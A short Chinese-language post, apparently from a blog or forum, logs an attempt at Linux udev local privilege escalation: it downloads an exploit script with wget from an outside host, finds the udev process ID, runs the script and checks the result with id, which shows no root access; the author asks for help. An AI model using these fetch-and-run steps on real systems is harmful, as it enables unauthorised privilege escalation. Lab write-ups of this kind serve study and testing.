Linux UDEV提权过程

1.下载攻击脚本

[test@H0f ~]$ wget http://www.extmail .org/source/exploit-udev-8478

--2018-04-02 01:21:00--  http://www.extmail/

Resolving www.extmail... failed: Name or service not known.

wget: unable to resolve host address “www.extmail”

--2018-04-02 01:21:00--  http://.org/source/exploit-udev-8478

Resolving .org... failed: Name or service not known.

wget: unable to resolve host address “.org”

[test@H0f ~]$ wget http://www.extmail.org/source/exploit-udev-8478

--2018-04-02 01:21:14--  http://www.extmail.org/source/exploit-udev-8478

Resolving www.extmail.org... 124.172.184.131

Connecting to www.extmail.org|124.172.184.131|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 3367 (3.3K) [application/octet-stream]

Saving to: “exploit-udev-8478”

100%[===============================================================================>

2018-04-02 01:21:15 (351 KB/s) - “exploit-udev-8478” saved [3367/3367]

2.获得udev进程号

[test@H0f ~]$ ps ax|grep udev|grep -v grep|awk {'print $1'}

3.获得udev进程号，然后将此数字减1作为exploit-udev-8478的参数,执行脚本

[test@H0f ~]$ sh exploit-udev- 

suid.c: In function ‘main’:

suid.c:: warning: incompatible implicit declaration of built-in function ‘execl’

4.输入id进行验证

 sh-4.1$ id

 uid=(test) gid=(test) groups=(test) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

多次实验仍未成功，大佬看到求指点，应该是我的linux版本问题把